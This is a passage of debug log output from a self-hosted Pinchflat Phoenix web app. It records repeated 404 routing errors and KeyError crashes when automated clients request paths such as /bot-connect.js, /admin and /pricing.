"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/message (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/message.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3664.0>, params: %{}, path_info: ["assets", "js", "message"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], (truncated) 02:30:42.870 [info] GET /bot-connect.js 02:30:42.871 [debug] QUERY OK source="settings" db=0.4ms idle=1146.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:42.872 [debug] QUERY OK source="settings" db=0.2ms idle=1146.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:42.872 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:42.872 [error] #PID<0.3665.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 14) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /bot-connect.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bot-connect (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bot-connect.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3665.0>, params: %{}, path_info: ["bot-connect"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "157.143.3.35"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/bot-connect.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmB_DqRBLYKOEAAVcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bot-connect.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bot-connect (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bot-connect.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3665.0>, params: %{}, path_info: ["bot-connect"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, (truncated) 02:30:43.076 [info] GET /js/lkk_ch.js 02:30:43.077 [debug] QUERY OK source="settings" db=0.2ms idle=1351.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:43.077 [debug] QUERY OK source="settings" db=0.1ms idle=1069.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:43.077 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:43.077 [error] #PID<0.3666.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 15) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /js/lkk_ch.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/lkk_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/lkk_ch.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3666.0>, params: %{}, path_info: ["js", "lkk_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "157.143.3.35"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/js/lkk_ch.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmB_0vsSrZf_UAAVdB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/lkk_ch.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/lkk_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/lkk_ch.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3666.0>, params: %{}, path_info: ["js", "lkk_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_rou (truncated) 02:30:43.911 [info] GET /admin 02:30:43.912 [debug] QUERY OK source="settings" db=0.2ms idle=1040.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:43.912 [debug] QUERY OK source="settings" db=0.0ms idle=1040.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:43.912 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:43.912 [error] #PID<0.3668.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 17) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /admin ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0badb8f4949-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "9df7cb89xx3e.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3668.0>, params: %{}, path_info: ["admin"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e0badb8f4949-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "9df7cb89xx3e.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "104.22.56.193"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/admin", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmCC7yX84OBTsAAVeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0badb8f4949-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "9df7cb89xx3e.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0badb8f4949-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "9df7cb89xx3e.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-sit (truncated) 02:30:43.925 [info] GET /pricing 02:30:43.926 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=916.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:43.926 [debug] QUERY OK source="settings" db=0.0ms idle=848.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:43.926 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:43.926 [error] #PID<0.3669.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 18) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /pricing ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pricing (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pricing", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200e0bafe17813a-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "sm-a-rtal-exander6125.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "172.71.30.220", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3669.0>, params: %{}, path_info: ["pricing"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", 